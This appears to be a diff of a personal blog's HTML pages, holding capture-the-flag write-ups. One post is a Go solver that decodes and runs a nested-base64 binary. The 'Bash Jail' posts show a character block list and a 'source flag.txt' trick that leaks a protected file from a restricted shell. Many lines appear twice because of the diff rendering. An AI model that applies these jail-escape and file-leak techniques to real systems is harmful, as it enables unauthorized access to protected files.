processing. To do this, we will write a small helper function like so:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-go data-lang=go><span style=display:flex><span><span style=color:#66d9ef>func</span> <span style=color:#a6e22e>WipeSet</span>(<span style=color:#a6e22e>s</span>, <span style=color:#a6e22e>set</span> <span style=color:#66d9ef>string</span>) <span style=color:#66d9ef>string</span> {
processing. To do this, we will write a small helper function like so:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-go data-lang=go><span style=display:flex><span><span style=color:#66d9ef>func</span> <span style=color:#a6e22e>WipeSet</span>(<span style=color:#a6e22e>s</span>, <span style=color:#a6e22e>set</span> <span style=color:#66d9ef>string</span>) <span style=color:#66d9ef>string</span> {
</span></span><span style=display:flex><span> <span style=color:#66d9ef>for</span> <span style=color:#a6e22e>_</span>, <span style=color:#a6e22e>char</span> <span style=color:#f92672>:=</span> <span style=color:#66d9ef>range</span> <span style=color:#a6e22e>set</span> {
</span></span><span style=display:flex><span> <span style=color:#a6e22e>s</span> = <span style=color:#a6e22e>strings</span>.<span style=color:#a6e22e>Replace</span>(<span style=color:#a6e22e>s</span>, string(<span style=color:#a6e22e>char</span>), <span style=color:#e6db74>&#34;&#34;</span>, <span style=color:#f92672>-</span><span style=color:#ae81ff>1</span>)
</span></span><span style=display:flex><span> }
</span></span><span style=display:flex><span> <span style=color:#66d9ef>return</span> <span style=color:#a6e22e>s</span>
</span></span><span style=display:flex><span>}
</span></span></code></pre></div><p>and utilize the function in the main function as:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-go data-lang=go><span style=display:flex><span><span style=color:#a6e22e>challenge</span> <span style=color:#f92672>:=</span> <span style=color:#a6e22e>WipeSet</span>(<span style=color:#a6e22e>message</span>, <span style=color:#e6db74>&#34;\n\t &#34;</span>)
</span></span></code></pre></div><p>and utilize the function in the main function as:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-go data-lang=go><span style=display:flex><span><span style=color:#a6e22e>challenge</span> <span style=color:#f92672>:=</span> <span style=color:#a6e22e>WipeSet</span>(<span style=color:#a6e22e>message</span>, <span style=color:#e6db74>&#34;\n\t &#34;</span>)
</span></span></code></pre></div><p>Next, to decode the challenge base64 itself, we
initalize a slice to store the raw decoded bytes.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-go data-lang=go><span style=display:flex><span><span style=color:#66d9ef>var</span> <span style=color:#a6e22e>Bytes</span> []<span style=color:#66d9ef>byte</span>
initalize a slice to store the raw decoded bytes.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-go data-lang=go><span style=display:flex><span><span style=color:#66d9ef>var</span> <span style=color:#a6e22e>Bytes</span> []<span style=color:#66d9ef>byte</span>
</span></span></code></pre></div><p>Since we don&rsquo;t know how many levels the binary has
been encoded in base64, we begin with an infinite loop.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-go data-lang=go><span style=display:flex><span><span style=color:#66d9ef>for</span> {
been encoded in base64, we begin with an infinite loop.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-go data-lang=go><span style=display:flex><span><span style=color:#66d9ef>for</span> {
</span></span><span style=display:flex><span> <span style=color:#75715e>// until we break out of the loop</span>
</span></span><span style=display:flex><span>}
</span></span></code></pre></div><p>We use the base64 standard library to decode the string.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-go data-lang=go><span style=display:flex><span><span style=color:#a6e22e>Bytes</span>, <span style=color:#a6e22e>err</span> = <span style=color:#a6e22e>base64</span>.<span style=color:#a6e22e>StdEncoding</span>.<span style=color:#a6e22e>DecodeString</span>(<span style=color:#a6e22e>challenge</span>)
</span></span></code></pre></div><p>We use the base64 standard library to decode the string.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-go data-lang=go><span style=display:flex><span><span style=color:#a6e22e>Bytes</span>, <span style=color:#a6e22e>err</span> = <span style=color:#a6e22e>base64</span>.<span style=color:#a6e22e>StdEncoding</span>.<span style=color:#a6e22e>DecodeString</span>(<span style=color:#a6e22e>challenge</span>)
</span></span><span style=display:flex><span><span style=color:#66d9ef>if</span> <span style=color:#a6e22e>err</span> <span style=color:#f92672>!=</span> <span style=color:#66d9ef>nil</span> {
</span></span><span style=display:flex><span> <span style=color:#a6e22e>log</span>.<span style=color:#a6e22e>Fatal</span>(<span style=color:#a6e22e>err</span>)
</span></span><span style=display:flex><span>}
</span></span></code></pre></div><p>If the decoded bytes end with the reversed ELF header, we
can stop iterating and just reverse the bytes to yield the
original executable file.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-go data-lang=go><span style=display:flex><span><span style=color:#66d9ef>if</span> <span style=color:#a6e22e>bytes</span>.<span style=color:#a6e22e>HasSuffix</span>(<span style=color:#a6e22e>Bytes</span>, []<span style=color:#66d9ef>byte</span>{<span style=color:#ae81ff>0x46</span>, <span style=color:#ae81ff>0x4c</span>, <span style=color:#ae81ff>0x45</span>, <span style=color:#ae81ff>0x7f</span>}) {
original executable file.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-go data-lang=go><span style=display:flex><span><span style=color:#66d9ef>if</span> <span style=color:#a6e22e>bytes</span>.<span style=color:#a6e22e>HasSuffix</span>(<span style=color:#a6e22e>Bytes</span>, []<span style=color:#66d9ef>byte</span>{<span style=color:#ae81ff>0x46</span>, <span style=color:#ae81ff>0x4c</span>, <span style=color:#ae81ff>0x45</span>, <span style=color:#ae81ff>0x7f</span>}) {
</span></span><span style=display:flex><span> <span style=color:#66d9ef>for</span> <span style=color:#a6e22e>i</span>, <span style=color:#a6e22e>j</span> <span style=color:#f92672>:=</span> <span style=color:#ae81ff>0</span>, len(<span style=color:#a6e22e>Bytes</span>)<span style=color:#f92672>-</span><span style=color:#ae81ff>1</span>; <span style=color:#a6e22e>i</span> &lt; <span style=color:#a6e22e>j</span>; <span style=color:#a6e22e>i</span>, <span style=color:#a6e22e>j</span> = <span style=color:#a6e22e>i</span><span style=color:#f92672>+</span><span style=color:#ae81ff>1</span>, <span style=color:#a6e22e>j</span><span style=color:#f92672>-</span><span style=color:#ae81ff>1</span> {
</span></span><span style=display:flex><span> <span style=color:#a6e22e>Bytes</span>[<span style=color:#a6e22e>i</span>], <span style=color:#a6e22e>Bytes</span>[<span style=color:#a6e22e>j</span>] = <span style=color:#a6e22e>Bytes</span>[<span style=color:#a6e22e>j</span>], <span style=color:#a6e22e>Bytes</span>[<span style=color:#a6e22e>i</span>]
</span></span><span style=display:flex><span> }
</span></span><span style=display:flex><span> <span style=color:#66d9ef>break</span>
</span></span><span style=display:flex><span>}
</span></span></code></pre></div><p>Otherwise, we convert the bytes to string for the next round
of decoding.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-go data-lang=go><span style=display:flex><span><span style=color:#a6e22e>challenge</span> = string(<span style=color:#a6e22e>Bytes</span>)
</span></span></code></pre></div><p>This marks the end of the repeated decoding in the loop.</p><p>We write the binary to a file called &ldquo;exe&rdquo; with the read, write and executable permissions for our user (<code>0o700</code>).</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-go data-lang=go><span style=display:flex><span><span style=color:#66d9ef>if</span> <span style=color:#a6e22e>err</span> <span style=color:#f92672>:=</span> <span style=color:#a6e22e>ioutil</span>.<span style=color:#a6e22e>WriteFile</span>(<span style=color:#e6db74>&#34;exe&#34;</span>, <span style=color:#a6e22e>Bytes</span>, <span style=color:#ae81ff>0</span><span style=color:#a6e22e>o700</span>); <span style=color:#a6e22e>err</span> <span style=color:#f92672>!=</span> <span style=color:#66d9ef>nil</span> {
of decoding.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-go data-lang=go><span style=display:flex><span><span style=color:#a6e22e>challenge</span> = string(<span style=color:#a6e22e>Bytes</span>)
</span></span></code></pre></div><p>This marks the end of the repeated decoding in the loop.</p><p>We write the binary to a file called &ldquo;exe&rdquo; with the read, write and executable permissions for our user (<code>0o700</code>).</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-go data-lang=go><span style=display:flex><span><span style=color:#66d9ef>if</span> <span style=color:#a6e22e>err</span> <span style=color:#f92672>:=</span> <span style=color:#a6e22e>ioutil</span>.<span style=color:#a6e22e>WriteFile</span>(<span style=color:#e6db74>&#34;exe&#34;</span>, <span style=color:#a6e22e>Bytes</span>, <span style=color:#ae81ff>0</span><span style=color:#a6e22e>o700</span>); <span style=color:#a6e22e>err</span> <span style=color:#f92672>!=</span> <span style=color:#66d9ef>nil</span> {
</span></span><span style=display:flex><span> <span style=color:#a6e22e>log</span>.<span style=color:#a6e22e>Fatal</span>(<span style=color:#a6e22e>err</span>)
</span></span><span style=display:flex><span>}
</span></span></code></pre></div><p>The proof of work is the output generated by running the binary.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-go data-lang=go><span style=display:flex><span><span style=color:#a6e22e>secret</span>, <span style=color:#a6e22e>err</span> <span style=color:#f92672>:=</span> <span style=color:#a6e22e>exec</span>.<span style=color:#a6e22e>Command</span>(<span style=color:#e6db74>&#34;./exe&#34;</span>).<span style=color:#a6e22e>Output</span>()
</span></span></code></pre></div><p>The proof of work is the output generated by running the binary.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-go data-lang=go><span style=display:flex><span><span style=color:#a6e22e>secret</span>, <span style=color:#a6e22e>err</span> <span style=color:#f92672>:=</span> <span style=color:#a6e22e>exec</span>.<span style=color:#a6e22e>Command</span>(<span style=color:#e6db74>&#34;./exe&#34;</span>).<span style=color:#a6e22e>Output</span>()
</span></span><span style=display:flex><span><span style=color:#66d9ef>if</span> <span style=color:#a6e22e>err</span> <span style=color:#f92672>!=</span> <span style=color:#66d9ef>nil</span> {
</span></span><span style=display:flex><span> <span style=color:#a6e22e>log</span>.<span style=color:#a6e22e>Fatal</span>(<span style=color:#a6e22e>err</span>)
</span></span><span style=display:flex><span>}
</span></span></code></pre></div><p>After wiping any newlines and formatting the url with the r parameter as the secret,
we set the request off.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-go data-lang=go><span style=display:flex><span><span style=color:#a6e22e>flagPage</span>, <span style=color:#a6e22e>err</span> <span style=color:#f92672>:=</span> <span style=color:#a6e22e>http</span>.<span style=color:#a6e22e>Get</span>(
we set the request off.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-go data-lang=go><span style=display:flex><span><span style=color:#a6e22e>flagPage</span>, <span style=color:#a6e22e>err</span> <span style=color:#f92672>:=</span> <span style=color:#a6e22e>http</span>.<span style=color:#a6e22e>Get</span>(
</span></span><span style=display:flex><span> <span style=color:#a6e22e>fmt</span>.<span style=color:#a6e22e>Sprintf</span>(<span style=color:#e6db74>&#34;%s?r=%s&#34;</span>, <span style=color:#a6e22e>uri</span>, <span style=color:#a6e22e>WipeSet</span>(string(<span style=color:#a6e22e>secret</span>), <span style=color:#e6db74>&#34;\n&#34;</span>)),
</span></span><span style=display:flex><span>)
</span></span><span style=display:flex><span><span style=color:#66d9ef>if</span> <span style=color:#a6e22e>err</span> <span style=color:#f92672>!=</span> <span style=color:#66d9ef>nil</span> {
</span></span><span style=display:flex><span> <span style=color:#a6e22e>log</span>.<span style=color:#a6e22e>Fatalln</span>(<span style=color:#a6e22e>err</span>)
</span></span><span style=display:flex><span>}
</span></span><span style=display:flex><span><span style=color:#66d9ef>defer</span> <span style=color:#a6e22e>flagPage</span>.<span style=color:#a6e22e>Body</span>.<span style=color:#a6e22e>Close</span>()
</span></span></code></pre></div><p>Now that we have the flag page we can create a new goquery document from this response&rsquo;s body.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-go data-lang=go><span style=display:flex><span><span style=color:#a6e22e>doc</span>, <span style=color:#a6e22e>err</span> = <span style=color:#a6e22e>goquery</span>.<span style=color:#a6e22e>NewDocumentFromReader</span>(<span style=color:#a6e22e>flagPage</span>.<span style=color:#a6e22e>Body</span>)
</span></span></code></pre></div><p>Finally, we can print the text in the &ldquo;alert-info&rdquo; div, which is the flag.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-go data-lang=go><span style=display:flex><span><span style=color:#a6e22e>fmt</span>.<span style=color:#a6e22e>Println</span>(<span style=color:#a6e22e>doc</span>.<span style=color:#a6e22e>FindMatcher</span>(<span style=color:#a6e22e>goquery</span>.<span style=color:#a6e22e>Single</span>(<span style=color:#e6db74>&#34;.alert-info&#34;</span>)).<span style=color:#a6e22e>Text</span>())
</span></span></code></pre></div><p>Here is the code in all its entirety.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-go data-lang=go><span style=display:flex><span><span style=color:#f92672>package</span> <span style=color:#a6e22e>main</span>
</span></span></code></pre></div><p>Now that we have the flag page we can create a new goquery document from this response&rsquo;s body.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-go data-lang=go><span style=display:flex><span><span style=color:#a6e22e>doc</span>, <span style=color:#a6e22e>err</span> = <span style=color:#a6e22e>goquery</span>.<span style=color:#a6e22e>NewDocumentFromReader</span>(<span style=color:#a6e22e>flagPage</span>.<span style=color:#a6e22e>Body</span>)
</span></span></code></pre></div><p>Finally, we can print the text in the &ldquo;alert-info&rdquo; div, which is the flag.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-go data-lang=go><span style=display:flex><span><span style=color:#a6e22e>fmt</span>.<span style=color:#a6e22e>Println</span>(<span style=color:#a6e22e>doc</span>.<span style=color:#a6e22e>FindMatcher</span>(<span style=color:#a6e22e>goquery</span>.<span style=color:#a6e22e>Single</span>(<span style=color:#e6db74>&#34;.alert-info&#34;</span>)).<span style=color:#a6e22e>Text</span>())
</span></span></code></pre></div><p>Here is the code in all its entirety.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-go data-lang=go><span style=display:flex><span><span style=color:#f92672>package</span> <span style=color:#a6e22e>main</span>
</span></span><span style=display:flex><span>
</span></span><span style=display:flex><span><span style=color:#f92672>import</span> (
</span></span><span style=display:flex><span> <span style=color:#e6db74>&#34;bytes&#34;</span>

View File

@@ -11,7 +11,7 @@ Inference and experimenation
The script is reading an input, executes it and then stores it in the
output variable without ever displaying the output to the console.
I tried a dummy command to see if I could see its stderr since command
substitution (backticks) only capture the stdout.'><meta name=author content><link rel="preload stylesheet" as=style href=https://lavafroth.is-a.dev/app.min.css><link rel=preload as=image href=../../header.svg><link as=font href=https://lavafroth.is-a.dev/latinmodern-math.otf><link rel=preload as=image href=https://lavafroth.is-a.dev/github.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/about.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/art.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/rss.svg><link rel=icon href=https://lavafroth.is-a.dev/favicon.png><link rel=blog-icon href=https://lavafroth.is-a.dev/icon.png></head><body><header><a class=site-name href=https://lavafroth.is-a.dev/><svg viewBox="0 0 8790 2080"><path d="M80 1935V465h216v1270h286v2e2zm853 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm1025 528L2014 465h210l108 868 8 142h12l8-142 108-868h210l-224 1470zm813 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm851 528V465h514v222h-298v386h2e2v222h-2e2v640zm910 0V465h216q194 0 286 108 92 107 92 316 0 124-43 215-44 90-106 132l147 699h-216l-122-620h-38v620zm216-820q60 0 95-26 35-27 50-76t15-116q0-105-34-161-35-57-126-57zm1084 836q-90 0-154-42-65-42-99-114-35-72-35-162V767q0-91 35-162 34-72 99-114 64-42 154-42t155 42q64 42 99 114 34 72 34 162v866q0 90-34 162-35 72-99 114-65 42-155 42zm0-210q40 0 56-33 16-34 16-75V767q0-41-17-74-17-34-55-34-37 0-54 34-18 33-18 74v866q0 41 17 75 17 33 55 33zm890 194V687h-204V465h624v222h-204v1248zm828 0V465h216v608h168V465h216v1470h-216v-640h-168v640z"/></svg></a><nav><a style=--url:url(./github.svg) href=https://github.com/lavafroth aria-label=github target=_blank></a><a href=../../about/ aria-label=about style=--url:url(./about.svg)></a><a href=../../art/ aria-label=art style=--url:url(./art.svg)></a><a href=../../index.xml aria-label=rss style=--url:url(./rss.svg)></a><nav></header><main><hgroup data-pagefind-body><p data-pagefind-ignore><time>Jul 24, 2022 | 1 minute read</time></p><h1 data-pagefind-meta=title>Bash Jail 1</h1></hgroup><section class=post-content data-pagefind-body><h1 id=the-challenge>The challenge</h1><p>Upon SSHing into the box, we are told that the flag is located at <code>/home/level1/flag.txt</code></p><p>Challenge bash code:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-bash data-lang=bash><span style=display:flex><span><span style=color:#66d9ef>while</span> :
substitution (backticks) only capture the stdout.'><meta name=author content><link rel="preload stylesheet" as=style href=https://lavafroth.is-a.dev/app.min.css><link rel=preload as=image href=../../header.svg><link as=font href=https://lavafroth.is-a.dev/latinmodern-math.otf><link rel=preload as=image href=https://lavafroth.is-a.dev/github.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/about.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/art.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/rss.svg><link rel=icon href=https://lavafroth.is-a.dev/favicon.png><link rel=blog-icon href=https://lavafroth.is-a.dev/icon.png></head><body><header><a class=site-name href=https://lavafroth.is-a.dev/><svg viewBox="0 0 8790 2080"><path d="M80 1935V465h216v1270h286v2e2zm853 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm1025 528L2014 465h210l108 868 8 142h12l8-142 108-868h210l-224 1470zm813 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm851 528V465h514v222h-298v386h2e2v222h-2e2v640zm910 0V465h216q194 0 286 108 92 107 92 316 0 124-43 215-44 90-106 132l147 699h-216l-122-620h-38v620zm216-820q60 0 95-26 35-27 50-76t15-116q0-105-34-161-35-57-126-57zm1084 836q-90 0-154-42-65-42-99-114-35-72-35-162V767q0-91 35-162 34-72 99-114 64-42 154-42t155 42q64 42 99 114 34 72 34 162v866q0 90-34 162-35 72-99 114-65 42-155 42zm0-210q40 0 56-33 16-34 16-75V767q0-41-17-74-17-34-55-34-37 0-54 34-18 33-18 74v866q0 41 17 75 17 33 55 33zm890 194V687h-204V465h624v222h-204v1248zm828 0V465h216v608h168V465h216v1470h-216v-640h-168v640z"/></svg></a><nav><a style=--url:url(./github.svg) href=https://github.com/lavafroth aria-label=github target=_blank></a><a href=../../about/ aria-label=about style=--url:url(./about.svg)></a><a href=../../art/ aria-label=art style=--url:url(./art.svg)></a><a href=../../index.xml aria-label=rss style=--url:url(./rss.svg)></a><nav></header><main><hgroup data-pagefind-body><p data-pagefind-ignore><time>Jul 24, 2022 | 1 minute read</time></p><h1 data-pagefind-meta=title>Bash Jail 1</h1></hgroup><section class=post-content data-pagefind-body><h1 id=the-challenge>The challenge</h1><p>Upon SSHing into the box, we are told that the flag is located at <code>/home/level1/flag.txt</code></p><p>Challenge bash code:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-bash data-lang=bash><span style=display:flex><span><span style=color:#66d9ef>while</span> :
</span></span><span style=display:flex><span><span style=color:#66d9ef>do</span>
</span></span><span style=display:flex><span> echo <span style=color:#e6db74>&#34;Your input:&#34;</span>
</span></span><span style=display:flex><span> read input
@@ -23,7 +23,7 @@ substitution (backticks) only capture the <code>stdout</code>.</p><pre tabindex=
</code></pre><p>Unfortunately that did not work, we did not have the &ldquo;hi&rdquo; blurted out in
the stderr. So, I resorted to another route.</p><h1 id=solution>Solution</h1><p>Remember how, if we ever tweak our bashrc file, we need to source it
to bring it to effect? Well, we can also, source the flag.txt file
and the script should error out with the contents of the file.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-bash data-lang=bash><span style=display:flex><span>source flag.txt
and the script should error out with the contents of the file.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-bash data-lang=bash><span style=display:flex><span>source flag.txt
</span></span><span style=display:flex><span>flag.txt: line 1: FLAG-U96l4k6m72a051GgE5EN0rA85499172K: command not found
</span></span></code></pre></div><p>There we have our flag.</p></section><footer class=post-tags data-pagefind-meta=tags><a href=https://lavafroth.is-a.dev/tags/bash class=list-tag>Bash</a>
<a href=https://lavafroth.is-a.dev/tags/ctf class=list-tag>CTF</a>

View File

@@ -25,7 +25,7 @@ done
Inference
This time, the check_space function returns a 1 if there are any characters in the input
string among b,d,k,s, a semicolon, an ampersand and a whitespace. If the function does
return 1, we get a &ldquo;restricted characters&rdquo; message and no further processing happens."><meta name=author content><link rel="preload stylesheet" as=style href=https://lavafroth.is-a.dev/app.min.css><link rel=preload as=image href=../../header.svg><link as=font href=https://lavafroth.is-a.dev/latinmodern-math.otf><link rel=preload as=image href=https://lavafroth.is-a.dev/github.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/about.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/art.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/rss.svg><link rel=icon href=https://lavafroth.is-a.dev/favicon.png><link rel=blog-icon href=https://lavafroth.is-a.dev/icon.png></head><body><header><a class=site-name href=https://lavafroth.is-a.dev/><svg viewBox="0 0 8790 2080"><path d="M80 1935V465h216v1270h286v2e2zm853 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm1025 528L2014 465h210l108 868 8 142h12l8-142 108-868h210l-224 1470zm813 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm851 528V465h514v222h-298v386h2e2v222h-2e2v640zm910 0V465h216q194 0 286 108 92 107 92 316 0 124-43 215-44 90-106 132l147 699h-216l-122-620h-38v620zm216-820q60 0 95-26 35-27 50-76t15-116q0-105-34-161-35-57-126-57zm1084 836q-90 0-154-42-65-42-99-114-35-72-35-162V767q0-91 35-162 34-72 99-114 64-42 154-42t155 42q64 42 99 114 34 72 34 162v866q0 90-34 162-35 72-99 114-65 42-155 42zm0-210q40 0 56-33 16-34 16-75V767q0-41-17-74-17-34-55-34-37 0-54 34-18 33-18 74v866q0 41 17 75 17 33 55 33zm890 194V687h-204V465h624v222h-204v1248zm828 0V465h216v608h168V465h216v1470h-216v-640h-168v640z"/></svg></a><nav><a style=--url:url(./github.svg) href=https://github.com/lavafroth aria-label=github target=_blank></a><a href=../../about/ aria-label=about style=--url:url(./about.svg)></a><a href=../../art/ aria-label=art style=--url:url(./art.svg)></a><a href=../../index.xml aria-label=rss style=--url:url(./rss.svg)></a><nav></header><main><hgroup data-pagefind-body><p data-pagefind-ignore><time>Jul 24, 2022 | 1 minute read</time></p><h1 data-pagefind-meta=title>Bash Jail 2</h1></hgroup><section class=post-content data-pagefind-body><h1 id=the-challenge>The challenge</h1><p>Logging into the box we are told that the flag is located at <code>/home/level2/flag.txt</code></p><h3 id=challenge-bash-code>Challenge bash code</h3><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-bash data-lang=bash><span style=display:flex><span><span style=color:#66d9ef>function</span> check_space <span style=color:#f92672>{</span>
return 1, we get a &ldquo;restricted characters&rdquo; message and no further processing happens."><meta name=author content><link rel="preload stylesheet" as=style href=https://lavafroth.is-a.dev/app.min.css><link rel=preload as=image href=../../header.svg><link as=font href=https://lavafroth.is-a.dev/latinmodern-math.otf><link rel=preload as=image href=https://lavafroth.is-a.dev/github.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/about.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/art.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/rss.svg><link rel=icon href=https://lavafroth.is-a.dev/favicon.png><link rel=blog-icon href=https://lavafroth.is-a.dev/icon.png></head><body><header><a class=site-name href=https://lavafroth.is-a.dev/><svg viewBox="0 0 8790 2080"><path d="M80 1935V465h216v1270h286v2e2zm853 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm1025 528L2014 465h210l108 868 8 142h12l8-142 108-868h210l-224 1470zm813 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm851 528V465h514v222h-298v386h2e2v222h-2e2v640zm910 0V465h216q194 0 286 108 92 107 92 316 0 124-43 215-44 90-106 132l147 699h-216l-122-620h-38v620zm216-820q60 0 95-26 35-27 50-76t15-116q0-105-34-161-35-57-126-57zm1084 836q-90 0-154-42-65-42-99-114-35-72-35-162V767q0-91 35-162 34-72 99-114 64-42 154-42t155 42q64 42 99 114 34 72 34 162v866q0 90-34 162-35 72-99 114-65 42-155 42zm0-210q40 0 56-33 16-34 16-75V767q0-41-17-74-17-34-55-34-37 0-54 34-18 33-18 74v866q0 41 17 75 17 33 55 33zm890 194V687h-204V465h624v222h-204v1248zm828 0V465h216v608h168V465h216v1470h-216v-640h-168v640z"/></svg></a><nav><a style=--url:url(./github.svg) href=https://github.com/lavafroth aria-label=github target=_blank></a><a href=../../about/ aria-label=about style=--url:url(./about.svg)></a><a href=../../art/ aria-label=art style=--url:url(./art.svg)></a><a href=../../index.xml aria-label=rss style=--url:url(./rss.svg)></a><nav></header><main><hgroup data-pagefind-body><p data-pagefind-ignore><time>Jul 24, 2022 | 1 minute read</time></p><h1 data-pagefind-meta=title>Bash Jail 2</h1></hgroup><section class=post-content data-pagefind-body><h1 id=the-challenge>The challenge</h1><p>Logging into the box we are told that the flag is located at <code>/home/level2/flag.txt</code></p><h3 id=challenge-bash-code>Challenge bash code</h3><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-bash data-lang=bash><span style=display:flex><span><span style=color:#66d9ef>function</span> check_space <span style=color:#f92672>{</span>
</span></span><span style=display:flex><span> <span style=color:#66d9ef>if</span> <span style=color:#f92672>[[</span> $1 <span style=color:#f92672>==</span> *<span style=color:#f92672>[</span>bdks<span style=color:#e6db74>&#39;;&#39;&#39;&amp;&#39;&#39; &#39;</span><span style=color:#f92672>]</span>* <span style=color:#f92672>]]</span>
</span></span><span style=display:flex><span> <span style=color:#66d9ef>then</span>
</span></span><span style=display:flex><span> <span style=color:#66d9ef>return</span> <span style=color:#ae81ff>0</span>

View File

@@ -22,7 +22,7 @@ do
fi
done
We are also told that this prompt is launched using ./prompt.sh 2>/dev/null
